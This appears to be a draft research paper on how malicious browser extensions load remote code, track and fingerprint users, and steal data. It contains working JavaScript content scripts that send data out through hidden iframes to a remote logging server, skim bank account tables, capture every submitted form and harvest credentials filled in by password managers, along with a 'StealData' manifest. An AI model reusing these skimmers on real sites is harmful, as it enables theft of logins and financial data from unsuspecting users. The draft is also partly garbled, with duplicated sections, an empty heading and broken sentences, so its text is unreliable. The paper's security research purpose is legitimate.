The JavaScript extract in *Code Extract 1* shows how to fetch a remote script with an XMLHttpRequest. On the first line, we create a new XMLHttpRequest object. This is a standardized API and available to JavaScript in all current browsers [42]. The event handler on line 2 till 6 that listens to the `onreadystatechange` event, handles the response from our request. In our case, the response will be our remote loaded script. We have to check whether the `readyState` equals 4, which indicates that the operation is done and the response is loaded. The `open` method on line 7 defines the request type and the target URL and finally on line 8 we execute the request. The `send` method could take a message that would be sent as a parameter along the request. In our case, this is not necessary because we only want to fetch a resource.

```
1 var xhr = new XMLHttpRequest();
2 xhr.onreadystatechange = function() {
3   if (xhr.readyState == 4) {
4     handleScript(xhr.responseText);
5   }
6 }
7 xhr.open('GET', 'https://localhost:3001/javascripts/simple.js');
8 xhr.send();
```

Code Extract 1: Load remote script with a XMLHttpRequest

Scripts which are loaded remotely with an XMLHttpRequest are not executed directly. The request only fetches the script as plain text. To execute the script, we have to consider what the scripts objectives are. Whether it should act in the extension's background or as a content script. If the first case applies, we can use the JavaScript method `eval` to execute the remote loaded text as a JavaScript application. The use of eval is frowned upon because it is a main source of XSS attacks if not used correctly [10]. On that account, the default CSP of a WebExtension disables the use of eval in its background process. We can relax the default policy and add the key `unsafe_eval` to lift the restriction.

If we want to execute the remote loaded script as a content script, we can programmatically inject it. A WebExtension can use the method `chrome.tabs.executeScript` to execute a given string as a content script in a currently open tab. To use this feature, the extension needs the `tabs` permission. This permission is also granted, if the extension uses the `activeTab` permission but with the drawback that we can only inject the script if the user invokes the extension. A Firefox Add-on can inject the script in an open tab with the method `require("sdk/tabs").activeTab.attach`. But other than WebExtensions, it can also register a content script with an URL pattern at runtime using the `sdk/page-mod` module.

If we want to execute our remote loaded script only in the scope of a web page, we can take use of the DOM API. It allows us to add a new script element to the current web page. If we set the source attribute of the script element to the URL of our remote server, the browser will fetch and execute the script for us. As a proof of concept, we implemented a WebExtension that executes the content script shown in *Code Extract 2* in any web page without the need for further permissions. The content script creates a new `script` element, sets the element's `src` attribute to the URL of our remote server and appends it to the web page's body. The remote loaded script is immediately executed. The disadvantage here is, that the URL to the remote server is plainly visible to the user. A possible solution would be to delete the script element, after the script has finished its execution.

```
1 var script = document.createElement('script');
2 script.setAttribute('src', 'https://localhost:3001/javascripts/simple.js');
3 document.body.appendChild(script);
```

Code Extract 2: Content Script that executes a remote loaded script

5.1.3 Mutual Extension Communication

An extension is able to communicate with another extension. This opens the possibility of a permission escalation as previously described by Bauer et al. [16]. The extension which executes the attack does not need the permissions to fetch the malicious script. Another extension can execute this task and then send the remote script to the executing extension. This allows to give both extensions less permissions and thus making them less suspicious.

A communication channel that does not need any special interface can be established over any web page's DOM. All extensions with an active content script in the same web page have access to the same DOM. The extensions which want to communicate with each other can agree upon a specific DOM element and set it's text to exchange messages. Another way to exchange messages is to use the DOM method `window.postMessage`. This method dispatches a `message` event on the web pages `window` object. The event contains the message which was given as parameter to the postMessage method. Any script with access to web page's `window` object can register to be notified if the event was dispatched.

The code shown in *Code Extract 3* and *Code Extract 4* is an example how to use this method. In *Code Extract 3* we add an event listener to the `window` object that listens to the `message` event. The event handler method awaits the key `from` to be present in the event's data object and the value of `from` to equal `extension`. This identifies the origin of the message. Further, the handler awaits the In *Code Extract 4* we create our message object with the key-value pairs `"from":"extension"` and `"message":"secret"` and call the *postMessage* method with our message object as first parameter. The second parameter defines what the origin of the `window` object must be in order for the event to be dispatched. In our case, the web page and all content scripts share the same `window` object. Therefore, a domain check is unnecessary and we us a wildecard to match any domain.

```
1 window.addEventListener("message", function(event) {
2   if(event.data.from && event.data.from === "extension" && event.data.message) {
3     handle(event.data.message);
4   }
5 });
```

Code Extract 3: Event handler for the postMessage method

```
1 var message = {
2   "from"    : "extension",
3   "message": "secret"
4 }
5 window.postMessage(message, "*");
```

Code Extract 4: Call of the postMessage method

5.2 Communication

An important part for browser attacks is the communication between the malicious extension and the attacker. We have already shown that we can load scripts from remote servers. In this section, we focus on transmitting probably stolen information to a remote server.

We can use the a XMLHttpRequest to send data to a remote server. We have preciously shown in *Code Extract 1*, that we can fetch a remote script with an XMLHttpRequest. The same script can be used to fetch any information from a server. Only the method that handles the response needs to be adapted. In our implementation, we used the code shown in *Code Extract 5* to send a message to our remote server. Similar to *Code Extract 1*, we first create a new XMLHttpRequest object and set the request type and the target URL. Because we only want to send information out and do not care about the response, we do not need to declare a response handler like we implemented it in *Code Extract 1* on line 2 till 6. Instead, we have to set the request's *Content-type* header. This allows our server to correctly decode the web request's message. We decided to use the standard URL notation [41]. Finally, we deliver our message to the send method which executes the request.

Another strategy to transfer information to a remote host was described by Liu et al. [30]. They analyzed possible threats in Chrome's extension model through malicious behavior and conducted that an extension can executed HTTP

```
1 var xhr = new XMLHttpRequest();
2 xhr.open('POST', 'https://localhost:3001/log');
3 xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
4 xhr.send(message);
```

Code Extract 5: Send data to a remote server with a XMLHttpRequest

requests to any arbitrary host without cross-site access privileges. For that purpose, they used the mechanics of an *iframe* element. Its task is to display a web page within another web page. The displayed web page is defined by the URL stored inside the iframe's *src* attribute. If the URL changes, the iframe reloads the web page. Adding parameters to the URL allows to send data to the targeted server. As a proof of concept, we implemented the content script shown in *Code Extract 6* to send data to our remote server. It creates a new `iframe` element, hides it by setting the iframe's display style to `none`, and appends it to the web pages body. The function `send(data)` expects a string in the standard URL notation [41]. We append the current web page's URL to the outgoing data to later identify the origin of the transmitted information. Finally, we set the `src` attribute of our iframe element to execute the web request.

```
1 var iframe = document.createElement('iframe');
2 iframe.setAttribute('style', 'display: none;');
3 document.body.appendChild(iframe);
4
5 function send(data) {
6   data += "&url=" + encodeURIComponent(window.location.href);
7   iframe.setAttribute('src', 'https://localhost:3001/log?' + data);
8 }
```

Code Extract 6: Content script that sends data to a remote server using an `iframe` element

The Same Origin Policy creates a boundary between the iframe and it's parent web page. It prevents scripts to access content that has another origin than the script itself. Therefore, if the web page inside the iframe was loaded from another domain as the parent web page, the iframe's JavaScript can not access the parent web page. The same applies in reverse. It may look like we can not receive any data if we have send out our message with the script shown in *Code Extract 6* because the Same Origin Policy blocks our content script to access the iframe. But we are able to bypass the policy using the *window.postMessage* method.

[29]

5.3 Attack Vectors

5.4 Targeting

We have previously described the advantage of identifying the current user. If it was successful, we can exchange an otherwise benign script with a malicious one. This allows us to bypass dynamic analysis tools such as Hulk or WebEval and target specific users [26, 24]. In this section, we will describe methods to identify the current user and how an extension can execute or even support these methods.

5.4.1 User Tracking

User tracking refers to the linking of multiple web pages that were visited by the same user, thus allowing to follow the path a user has taken from website to website. User tracking is known to harm the user's privacy and to counter attempts to stay anonymous when browsing in the Internet. But there are also benign reasons for user tracking, for instance improving the usability of a website based on collected information.

Advertising is the main reason for user tracking. Companies pay large amounts of money to display advertisements for the purpose of increasing their sales volume. Without knowledge about the consumer's interest, a company can not advertise a particular product with success. A consumer is more likely to buy a product - what the goal of advertising is - that fits his needs. Therefore, companies want to collect information's about the consumer and his interests. Given, that

more and more consumer use the Internet nowadays, companies focus on websites as advertising medium. The collection and evaluation of a website's user data gives advertising companies the chance to personalize their advertisements. They can display advertisements on websites that with a high degree of probability match the current user's needs. Because this advertising strategy increases their profit, companies pay more money to website's that provide their user data for personalized advertising. Large companies such as Google or Facebook use targeted advertising as their business model. They act as middle man between advertiser and website hosts and provide large advertising networks. Other websites may embed advertisements from those networks which frees them from investing in user tracking and hosting their own servers for advertising. In addition, small websites without a monetization strategy may use embedded advertisements to continue to offer their services for free and still avoid a financial loss.

A reason why the displaying of advertisements may be dangerous for a user was researched by Xinyu Xing et al. analyzed Chrome extensions focused on the distribution of malware through the injection of advertisements [44]. They analyzed 18,000 extensions and detected that 56 of 292 extensions which inject advertisements also inject malware into web pages.

Another area for which user tracking is used are web analytics. User data and web traffic is measured, collected, and analyzed to improve web usage. Targeted data is primarily the user's interaction with and movement through the website such as how long a web page is visited, how the user enters and leaves the website, or with which functionality he has trouble. On the basis of these information the website's developer can improve a web page's performance and usability. If used for a vending platform, these information can also be used to coordinate for example sale campaigns.

The tracking of a user is often accomplished by storing an identifier on the user's system the first time the user visits a tracking website. Reading out the identifier from another website allows to create a tracking profile for the user. In the following list we describe several methods used for user tracking.

- **Tracking Cookies** The first web technology used to track users were HTTP cookies. Shortly after the introduction of cookies, first third-party vendors were observed that used cookies to track users between different web pages. If a user visits a web page that includes a resource from the tracking third-party, a cookie is fetched together with the requested resource and acts as an identifier for the user. When the user now visits a second web page that again includes some resource from the third-party, the stored cookie is send along with the request for the third-party's resource. The third-party vendor has now successfully tracked the user between two different web pages.
- **Local Shared Objects** Flash player use a technique similar to cookies to synchronize data between different browser sessions. The data is locally stored on the user's system by websites that use flash. Flash cookies as tracking mechanism have the advantage that they track the user behind different browsers and they can store up to 100KB whereas HTTP cookies can only store 4KB. Before 2011, local shared objects could not easily be deleted from within the browser because browser plugins hold the responsibility for their own data. In 2011 a new API was published that simplifies this mechanism [13].
- **Evercookies** Evercookie is a JavaScript framework implemented to produce persistent identifiers in a browser that are difficult to remove [25]. For that purpose, it uses multiple storage technologies such as HTTP and Flash cookies, HTML5 storages, web history and cache, and unusual techniques such as storing the identifier in RGB values of cached graphics. To hamper the removing from a browser, it recreates deleted identifiers as soon as the user visit a web site that uses the framework. The user has to delete every stored identifier to remove the evercookie completely.
- `Web Beacon` A web beacon is a remote loaded object that is embedded into an HTML document usually a web page or an email. It reveals that the document was loaded. Common used beacons are small and transparent images, usually one pixel in size. If the browser fetches the image it sends a request to the image's server and also sends possible tracking cookies along. This allows websites to track their user on other sites or gives the email's sender the confirmation that his email was read. An example is Facebook's "like" button or similar content from social media websites. Those websites are interested into what other pages their users visit. The "like" button reveals this information without the need to be invoked by the user.

5.4.2 Fingerprinting

Previously described methods for tracking a user identify him based on some data which was intentionally stored on the user's system. Those stored identifiers are vulnerable to deletion by the user. A study from 2010 showed that a

browser reveals many browser- and computer-specific information to web pages [22]. These information are collected and merged to create an unique fingerprint of the currently used browser. Collecting the same information on another web page and comparing it to stored fingerprints, makes it possible to track and identify the current user without the need to store an identifier on the user's computer. Theoretically, it is possible to identify every person on earth with a fingerprint in the size of approximately 33 bit. Currently eight billion people live on our planet. Using 33 bit of different information we could identify $2^{33} = 8,589,934,592$ people. But the same kind of information taken from different users will probably equal. Therefore, it is necessary to collect as much information as possible to create an unique fingerprint.

The technique of fingerprinting is an increasingly common practice nowadays which is mostly used by advertising companies and anti-fraud systems. It gives the opportunity to draw a more precise picture of a user. This is supported by the increasing use of mobile devices which provides information about the user's location. Furthermore, analyzing visited web pages and search queries give access to the user's hobbies and personal preferences. Advertising companies focus mainly on the user's personal information to display even more precisely adapted advertisements. Whereas, anti-fraud systems use the identification of the currently used devices to detect possible login tries with stolen credentials. If someone tries to log in to an account, the anti-fraud system compares the fingerprint of the currently used device with stored fingerprints for that account. If the fingerprint does not match, the user either uses a new device or someone unknown got access to the user's credentials. In this case, the web services often use further identification techniques such as personal security questions or similar.

Fingerprinting is known to harm privacy even more than simple tracking, because more personal information are gathered and stored. People fear that everything they do on the Internet is stored and may be used to harm them. This may become reality. Many politicians discuss about a data preservation to fight terrorism and criminals. Although these ideas are ...(ehrhaft), the fear that the information are misused in some form remains.

For example may a health insurance increase contributions because the insurant often books journeys to countries with a higher risk of an injection or a worker is accused to reveal company secretes because he often communicates with a friend who works for the competition and fired as a result.

There exists numerous scientific papers about fingerprinting techniques [38, 31, 34, 22, 32, 35]. Because detailed descriptions are off topic for our paper, we focus on a brief description of popular methods.

- **Browser Fingerprinting** The browser provides a variety of specific information to a web page that can be used to generate a fingerprint of the user's browser. The following list shows examples of fingerprinting properties and how to access them using JavaScript.

Property	**JavaScript API**	**Example Output**
System	`navigator.platform`	"Win32"
Browser Name	`navigator.userAgent`	"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0"
Browser Engine	`navigator.appName`	"Netscape"

Screen Resolution	`screen.width`
	`screen.height`
	`screen.pixelDepth`
		1366 (pixels)
		768 (pixels)
		24 (byte per pixel)

Timezone	`Date.getTimezoneOffset()`	-60 (equals UTC+1)
Browser Language	`navigator.language`	"de"
System Languages	`navigator.languages`	["de", "en-US", "en"]

- **Fonts** The list of fonts available to a web page can serve as part of a user identification. The browser plugin Flash provides an API that returns a list of fonts installed on the current system. As per current scientific works, the order of the fonts list is stable and machine-specific. If the Flash plugin is not available in a browser, JavaScript can be used to test whether particular fonts are installed or not. This approach needs a predefined list and may not cover unpopular fonts. It is implemented by writing a string with each font on the web page. If a font is not installed, the browser uses a fall-back font to draw the text. Comparing the width and hight of the drawn font to those of the fall-back font gives an evidence about the font being installed.

- **History Sniffing** Reading out the user's web history can not only serve as fingerprinting method but also to simplify user tracking. The attacker An outdated approach to test if a user has visited a particular web page was to use the browser's feature to display links to visited web pages in a different color. A web site would hidden from the user

add a list of URLs to a web page as link elements and determinate the displayed color. Nowadays, link elements that were queried by JavaScript calls behave like unvisited links fixing the tread from this sniffing attack. A current approach detects the redrawing of link elements to determine if the underlying web page was visited before [38]. If a link is drawn the first time, it is drawn as an unvisited link and simultaneously a query to the browser's web history database is send. When the query returns that the web page behind the link was visited before, it redraws the link element. This event can be captured giving the desired evidence.

- **JavaScript Benchmark Testing** The execution speed of a JavaScript engine depends on the implementation but also on the systems processor architecture and clock speed. Keaton Mowery et al. implemented a set of benchmark test suits to fingerprint different execution speeds [31]. Using these information, they could distinguish between major browser versions, operating systems and micro architectures.

5.4.3 Implementations

We have shown techniques which are used in web page's to track and identify the current user. Almost all techniques are based on JavaScript and executed inside the current web page. Therefore, they are also executable from an extension which has full access to the web page.

An extension is able to store information between browser sessions. Chrome provides an additional cloud based storage that is automatically synced with all devices if the user uses Chrome with his Google account. Firefox Add-ons on the other hand are able to store information on the user's hard disk. We can use this mechanism to provide a storage for a tracking identifier additional to cookies or similar. Such identifier are propagated from a web page to the browser. To receive one, we can use a previous described technique for communicate between a content script and the underlying web page.

Another tracking method which we can support with an extension is a web beacon. It notifies a third party that a specific web page was accessed by fetching a resource from a server and sending possible tracking cookies along the request. We implemented an extension that embeds an invisible iframe element in every visited web page. The iframe loads an empty web page from our server along with a tracking cookie. The second time our content script is executed, the tracking cookie will be sent back to our server with the request from the iframe. The extension needs a single content script with the matching attributes `"http://*/*"` and `"https://*/*"` and no further permissions. The content script can be seen in *Code Extract 7*.

```
1 var iframe = document.createElement('iframe');
2 iframe.setAttribute('src', 'https://localhost:3001/tracking/beacon');
3 iframe.setAttribute('style', 'display: none;');
4 document.body.appendChild(iframe);
```

Code Extract 7: Content script that executes a web beacon

JavaScript enables us to register events for every interaction the user has with the current web page. This gives us the possibility to exactly observe what elements the user clicks, double clicks, or drag and drops and what text he enters in input fields. If we combine all these information, we are able to track the user on his path through the web page.

The browser provides additional information to its extension which are not available for web pages. Those information may be used to generate a more accurate fingerprint of the user's browser and system. Accessing the information needs additional permissions. The following list shows provided information that may be retrieved for a fingerprint and the permissions needed to access them:

Permission	**Information**	**Example**
system.cpu	Number of processor kernels	
	Processor's name	Intel(R) Core(TM) i5-3210M CPU @ 2.50GHz
	Processor's capabilities	"sse", "sse2", "sse3"
system.memory	Memory capacity	6501200096
gcm	An unique ID for the extension instance	
management	List of installed extensions	Extension ID and version

We implemented an extension that fetches the described information and sends them to our remote server. The instruction how to use the API to get the listed information is shown on the developer's platform and we have previously shown how to send information to a remote server.

6 OLD

In this section we focus on what harmful actions can be performed by a malicious extension. For that purpose we show attacks that can be implemented using an extension. Our focal point lies on the multi-browser extension model. We show what permissions are necessary to perform these actions.

1. Steal data from the current displayed web page.
2. Track the user between websites.
3. Identify the website's current user.
4. Misuse the user's browser to launch attacks.

6.1 Data Theft

A user operating in the Internet often arrives at situations where he transmits sensitive information to a trusted server or receives them on request. The term "sensitive" is not bound to specific information but rather describes a class of information which is important in the current context. In our context - where we are concerned with stealing information from web pages - "sensitive" describes values that are stored inside a web page and may be misused in some form by an attacker. Some examples of data valuable for an attacker are credentials, credit card numbers, addresses, social security numbers, or identity numbers. If an attacker obtains these information he will certainly harm the user and enrich himself to the detriment of the robbed user.

A cryptographic secured communication channel is often used when sensitive information are transmitted over the Internet. This hampers attackers who try to intercept the communication and steal the information. Therefore, web criminals seek to steal the desired information directly from the browser before any cryptography mechanism is applied. The attacker has to gain control over the user's browser to access the information stored inside a displayed web page.

In the following section we show that an extension is an efficient tool to steal sensitive information from displayed web pages. We implemented several content scripts that steal information from different occurrences and with different strategies. Once installed, our extension reads the displayed web pages, extracts valuable information, and sends these to an remote server. For that purpose it needs the following manifest file:

```
1  {
2  "manifest_version": 2,
3  "name": "StealData",
4  "description":
5  "Extension that steals data from the currently visible web page.
6  Sends data to http://localhost:3000/log",
7  "version": "1.0",
8  "content_scripts" : [
9  {
10 "matches": [ "http://*/*", "https://*/*" ],
11 "js" : ["jquery.js", "content.js"]
12 }
13 ]
14 }
```

Our manifest declares besides the necessary extension information only two content scripts which are executed in every web page. The first content script `jquery.js` is an instance of the popular JavaScript library *jQuery* [10] which we use to simplify the interaction with the web page's DOM. The second content script `content.js` is one of our own implementations that steals sensitive information.

6.1.1 Send Data

If we want steal data from a web page from inside the user's browser we first have to consider how to send the data to a remote server. Otherwise the data can not be labeled as "stolen". An extension is able to transfer data with a XMLHttpRequest to any host if it has proper host permissions declared. We, as an attacker, want to remain anonymous. Therefore,

[10] jQuery homepage `https://jquery.com/`

we do not want to reveal the remote server in the extension's manifest and hence use host permissions that match any host such as `"http://*/*"`, `"https://*/*"` or `<all_urls>`. The following code snippet shows how we send a message with an XHR to our remote server.

```
1 var xhr = new XMLHttpRequest();
2 xhr.open('POST', 'https://localhost:3001/log', true);
3 xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
4 xhr.send(message);
```

First, we create a new XHR-object. Then, we open a connection to our remote server with a POST request. We set the correct content type of our request in order that our server is able to decrypt the request's parameter body. And finally, we send our message.

For our extensions we decided against using XMLHttpRequests with proper host permissions to transfer the data. It is possible to achieve the same using only a content script without the need for any host permissions. For that purpose, we use the mechanics of an *iframe* element. Its task is to display a web page within a web page. The displayed web page is defined by the URL stored inside the iframe's *src* attribute. If the URL changes, the iframe reloads the web page. The Same Origin Policy creates a boundary between the iframe and it's parent web page. It prevents scripts to access content that has another origin as the script itself. If the web page inside the iframe comes from another domain as the parent web page, the iframe's JavaScript can not access the parent web page. The same applies in reverse. In conclusion, if we manipulate the target URL of an iframe, we are able to send data to our remote server. It may look like we can not receive any data in return because the Same Origin Policy blocks our content script to access the iframe. But we are able to bypass the policy using the *Window.postMessage()* method. It allows us to exchange messages between the iframe and our content script. We implemented a method `send()` that transfers our data with the described strategy:

```
1 var iframe = document.createElement('iframe');
2 iframe.setAttribute('style', 'display: none;');
3 document.body.appendChild(iframe);
4
5 function send(data) {
6 data += "&url=" + encodeURIComponent(window.location.href);
7 iframe.setAttribute('src', 'https://localhost:3001/log?' + data);
8 }
```

In the first three lines, we create a new iframe element, turn it invisible by setting it's `style` attribute, and append it to the web pages body element. In line 5 we define the method `send(data)` that takes a string as parameter encoded in the standard URL parameter notation [11]. For example: `username=some@mail.net&password=Abcd1234`. Inside the method, we append the current web page's URL to the outgoing data to later identify the data's origin. And finally on line 7, we set the `src` attribute of our previously created iframe to the URL of our remote server and add the data as URL parameters. At this point it is important that the data string is encoded in the URL notation. Otherwise, the receiving server could not correctly decode the request URL.

While developing this code section we discovered some important requirements for our method to work. If the web page that is targeted by the iframe is secured by the `https` scheme, an unsecured request with `http` will be blocked as security prevention. On the other hand, if the web page is unsecured, a secured request is not blocked. Therefore, we use a remote server with a secured connection. But this creates another problem. Our remote server needs a valid SSL certificate. Otherwise the browser blocks the secured request. The certificate contains information about the owner. Transmitting it to the user would reveal the attackers identity. How to get a valid SSL certificate without or with fake information is off topic for our paper. To test our implementation, we used a self signed certificate and registered it manually in the browser.

6.1.2 Steal Data From A Web Page

A web page that the user requests from a server may contain sensitive information. An extension with an active content script inside the displayed web page is able to extract these information. Finding the exact location of the targeted information inside the web page is a non-trivial procedure. The location depends on the web page's HTML structure which

[11] World Wide Web Consortium URL specifications: `https://url.spec.whatwg.org/`

differentiates from page to page. Therefore, a content script is only able to target specific information in a specific web page.

Figure 1 shows an example of a bank web page with information about the user's accounts. We implemented a content script that targets exactly our example web page and steals the displayed information:

```
1  if(window.location.href === "https://localhost:3001/bank") {
2  var data = [];
3  $('tbody > tr').each(function(i) {
4  var td_elements = $(this).children('td');
5  data.push('account' + i + '=' + td_elements.eq(0).text());
6  data.push('iban'    + i + '=' + td_elements.eq(1).text());
7  data.push('balance' + i + '=' + td_elements.eq(2).text());
8  });
9  send(data.join('&'));
10 }
```

We start by comparing the current web page's URL to the URL of our targeted bank web page. We declare an array to store the extracted information. The jQuery call on line 3 selects each table row (tr) inside the table's body (tbody) and executes the anonymous function between line 3 and 7. On line 4, we select all table cells (td) inside the current row. We know exactly in which column what value is stored: In the first column is the account's name, in the second the account's IBAN, and in the third the current balance. Therefore, we extract the values inside these cells on line 5, 6, and 7. We store the values inside our array in the URL parameter notation and add the current table row's index as an identifier for account information that belong together. Finally on line 9, we connect the values inside the data array with an "&" to comply to the URL notation and forward the extracted data to our send method.

As we tested our extension, our server output server received the following URL:
`https://localhost:3001/log?account0=Giro\&iban0=DE12%204122%203321%204212%207664%2098&balance0=432,03%20EUR&account1=Daily%20Alloance&iban1=DE32%202313%200429%203532%203466%2031&balance1=10.023,42%20EUR&url=https%3A%2F%2Flocalhost%3A3001%2Fbank`

And extracted following values:

account0	:	Giro
iban0	:	DE12 4122 3321 4212 7664 98
balance0	:	432,03 EUR
account1	:	Daily Allowance
iban1	:	DE32 2313 0429 3532 3466 31
balance1	:	10.023,42 EUR
url	:	https://localhost:3001/bank

As mentioned before, finding elements in the web page is non-trivial. We implemented our script to exactly match our example bank web page. Small changes on the web page's HTML source code may break our code. For example, if we add a further column to the table between *Account* and *IBAN* such as the date of the last transaction, our content script will no longer extract the account's balance.

6.1.3 Steal Data From Web Forms

Many websites request sensitive information from their users for legitimate purpose. The website provides a form embedded inside a web page in which the user enters his information and then returns it back to the website's server. A typical web-form consists of a *form* element that holds several *input* elements and a submit button to transmit the data. The perhaps most used type is the form that is used for authenticate a user at a website. These login form typically consist of two input fields for username and password. Figure 3 shows an example of such a login form. We implemented a content script to steal the information that the user enters into our example login web page:

```
1          $('form').submit(function(event) {
2          var username = $('input[type="text"]').val();
3          var password = $('input[type="password"]').val();
4          var url_encoding = "username=" + username + "&password=" + password;
5          send(url_encoding);
6          });
```

First, we search for all form elements and add an event to each which is triggered when the form is submitted. In our case, we find one form element which is submitted when the "Login" button is pushed. On line two, we search for input elements of type text. Our web page has only one element that matches this selector, namely the input field for the username. Similar, we locate the input element of type password on line three. We convert both values to an string in URL parameter notation and forward it to our `send()` method.

This content script has the same flaws as the script which we have implemented to steal the information from the example bank web page. It is adapted to our example login page. Small changes on the web page's HTML source code may break our script. For example, if we add another input element of type text above the username field, our script will locate both elements, concatenate their values, and forward the result as username. We could not differentiate between the text from the new input field and the actual username.

Writing a concrete content script for each web page is inefficient. It raises the amount of work we have to do examining the structure of every targeted web page and writing adapted scripts. We also have to identify the current web page and inject the corresponding content script. If we simply inject all scripts in every web page, it will result in a heap of unwanted data because we can not foresee which content script extracts data from the current web page. Therefore, we implemented a more general content script to steal the form's values which works with every form. Surprisingly, our script is not only more efficient because it can be used on every web page, but it is also very compact.

```
1       $('form').submit(function(event) {
2       send($(this).serialize());
3       });
```

Again, we start selecting all form elements on the web page and add an submit-event to each. The jQuery library lightens our workload. It provides the function `serialize()` that returns the content of a form as URL parameters. We then forward this string to our send method.

6.1.4 Steal Data From Password Managers

Most browsers offer their user the possibility to save entered usernames and passwords within a password manager. If the user visits a login page for which the password manager has stored credentials, it inserts them automatically. We implemented a content script that waits for the password manager to fill in possible credentials and then steals them:

```
1       setTimeout(function() {
2       var form = $('input[type="password"').closest('form');
3       if(form.length > 0) {
4       send(form.serialize());
5       }
6       }, 500);
```

We use `setTimeout` to delay the execution of our functionality for 500 milliseconds to give the password manager the time to fill in the credentials. On line 2, we search for an input element of type password and select the closest form element in the DOM tree which is the login form. With the condition on the next line, we check if a form was found and in that case we forward the URL-encoded form to our send method.

Lujo Bauer et al. described extended attacks that open predefined login pages and steal possible credentials from the password manager [16]. Their attacks use different strategies to hide the opened pages from the user.

- Open the page in a inactive tab and reload the original page after the attack was performed.
- Open the page in a new tab within a window that is currently not in the foreground.
- Add an invisible iframe to a web page and load the targeted page in it. This strategy needs the content script option *all_frames* with which a content script executes in iframes.

We implemented these strategies but none of them works in Chrome or Opera. After the password manager has filled in the user's credentials, the value in the password field is not available to JavaScript before any user interaction with the web page has happened. It first looked like a bug, but it is an intended security feature [40].

6.2 User Tracking

User tracking refers to the linking of multiple web pages that were visited by the same user, thus allowing to follow the path a user has taken from website to website. User tracking is known to harm the user's privacy and to counter attempts to stay anonymous when browsing in the Internet. But there are also benign reasons for user tracking, for instance improving the usability of a website based on collected information.

Advertising is the main reason for user tracking. Companies pay large amounts of money to display advertisements for the purpose of increasing their sales volume. Without knowledge about the consumer's interest, a company can not advertise a particular product with success. A consumer is more likely to buy a product - what the goal of advertising is - that fits his needs. Therefore, companies want to collect information's about the consumer and his interests. Given, that more and more consumer use the Internet nowadays, companies focus on websites as advertising medium. The collection and evaluation of a website's user data gives advertising companies the chance to personalize their advertisements. They can display advertisements on websites that with a high degree of probability match the current user's needs. Because this advertising strategy increases their profit, companies pay more money to website's that provide their user data for personalized advertising. Large companies such as Google or Facebook use targeted advertising as their business model. They act as middle man between advertiser and website hosts and provide large advertising networks. Other websites may embed advertisements from those networks which frees them from investing in user tracking and hosting their own servers for advertising. In addition, small websites without a monetization strategy may use embedded advertisements to continue to offer their services for free and still avoid a financial loss.

A reason why the displaying of advertisements may be dangerous for a user was researched by Xinyu Xing et al. analyzed Chrome extensions focused on the distribution of malware through the injection of advertisements [44]. They analyzed 18,000 extensions and detected that 56 of 292 extensions which inject advertisements also inject malware into web pages.

Another area for which user tracking is used are web analytics. User data and web traffic is measured, collected, and analyzed to improve web usage. Targeted data is primarily the user's interaction with and movement through the website such as how long a web page is visited, how the user enters and leaves the website, or with which functionality he has trouble. On the basis of these information the website's developer can improve a web page's performance and usability. If used for a vending platform, these information can also be used to coordinate for example sale campaigns.

The tracking of a user is often accomplished by storing an identifier on the user's system the first time the user visits a tracking website. Reading out the identifier from another website allows to create a tracking profile for the user. In the following passage we describe several methods used for user tracking.

- **Tracking Cookies** The first used web technology used to track users were HTTP cookies. Shortly after the introduction of cookies, first third-party vendors were observed that used cookies to track users between different web pages. If a user visits a web page that includes a resource from the tracking third-party, a cookie is fetched together with the requested resource and acts as an identifier for the user. When the user now visits a second web page that again includes some resource from the third-party, the stored cookie is send along with the request for the third-party's resource. The third-party vendor has now successfully tracked the user between two different web pages.

- **Local Shared Objects** Flash player use a technique similar to cookies to synchronize data between different browser sessions. The data is locally stored on the user's system by websites that use flash. Flash cookies as tracking mechanism have the advantage that they track the user behind different browsers and they can store up to 100KB whereas HTTP cookies can only store 4KB. Before 2011, local shared objects could not easily be deleted from within the browser because browser plugins hold the responsibility for their own data. In 2011 a new API[12] was published that simplifies this mechanism.

- **Evercookies** Evercookie is a JavaScript framework implemented to produce persistent identifiers in a browser that are difficult to remove [25]. Therefore, it uses multiple storage technologies such as HTTP and Flash cookies, HTML5 storages, web history and cache, and unusual techniques such as storing the identifier in RGB values of cached graphics. To hamper the removing from a browser, it recreates deleted identifiers as soon as the user visit a web site that uses the framework. The user has to delete every stored identifier to remove the evercookie completely.

[12] https://wiki.mozilla.org/NPAPI:ClearPrivacyData

- `Web Beacon` A web beacon is a remote loaded object that is embedded into an HTML document usually a web page or an email. It reveals that the document was loaded. Common used beacons are small and transparent images, usually one pixel in size. If the browser fetches the image it sends a request to the image's server and also sends possible tracking cookies along. This allows websites to track their user on other sites or gives the email's sender the confirmation that his email was read. A good example is Facebook's "like" button or similar content from social media websites. Those websites are interested into what other pages their users visit. The "like" button reveals this without the need to be invoked by the user.

Previously described methods for tracking a user identify him based on some data which was intentionally stored on the user's system. Those stored identifiers are vulnerable to deletion by the user. A study from 2010 showed that a browser reveals many browser- and computer-specific information to web pages [22]. These information are collected and merged to create an unique fingerprint of the currently used browser. Collection the same information on another web page and comparing them to stored fingerprints, makes it possible to track and identify the current user without the need to store an identifier on the user's computer. Theoretically, it is possible to identify every person on earth with a fingerprint in the size of approximately 33 bit. Currently eight billion people live on our planet. Using 33 bit of different information we could identify $2^{33} = 8,589,934,592$ people. But the same kind of information taken from different users will probably equal. Therefore, it is necessary to collect as much information as possible to create an unique fingerprint.

The technique of fingerprinting is an increasingly common practice nowadays which is mostly used by advertising companies and anti-fraud systems. It gives the opportunity to draw a more precise picture of a user. This is supported by the increasing use of mobile devices which provides information about the user's location. Furthermore, analyzing visited web pages and search queries give access to the user's hobbies and personal preferences. Advertising companies focus mainly on the user's personal information to display even more precisely adapted advertisements. Whereas, anti-fraud systems use the identification of the currently used devices to detect possible login tries with stolen credentials. If someone tries to log in to an account, the anti-fraud system compares the fingerprint of the currently used device with stored fingerprints for that account. If the fingerprint does not match, the user either uses a new device or someone unknown got access to the user's credentials. In this case, the web services often use further identification techniques such as personal security questions or similar.

Fingerprinting is known to harm privacy even more than simple tracking, because many personal information are gathered and stored. People fear that everything they do on the Internet is stored and may be used to harm them. This may become reality. Many politicians discuss about a data preservation to fight terrorism and criminals. Although these ideas are ...(ehrhaft), the fear that the information are misused in some form remains.
For example may a health insurance increase contributions because the insurant often books journeys to countries with a higher risk of an injection or a worker is accused to reveal company secretes because he often communicates with a friend who works for the competition and fired as a result.

